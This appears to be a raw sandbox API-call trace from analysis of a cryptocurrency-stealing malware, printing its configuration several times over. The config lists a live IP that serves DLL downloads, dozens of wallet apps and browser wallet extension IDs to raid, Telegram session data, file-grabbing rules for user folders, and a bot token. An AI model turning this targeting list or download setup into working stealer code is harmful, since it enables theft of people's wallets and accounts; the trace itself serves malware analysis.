Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0258.948] lstrlenW (lpString="libs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4952 [0258.948] lstrlenW (lpString="libs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4952 [0258.948] LocalAlloc (uFlags=0x40, uBytes=0x26b0) returned 0x6b9720 [0258.948] lstrlenW (lpString="libs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4952 [0258.949] LocalAlloc (uFlags=0x40, uBytes=0x26b0) returned 0x6bbdd8 [0258.949] lstrlenW (lpString="libs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension 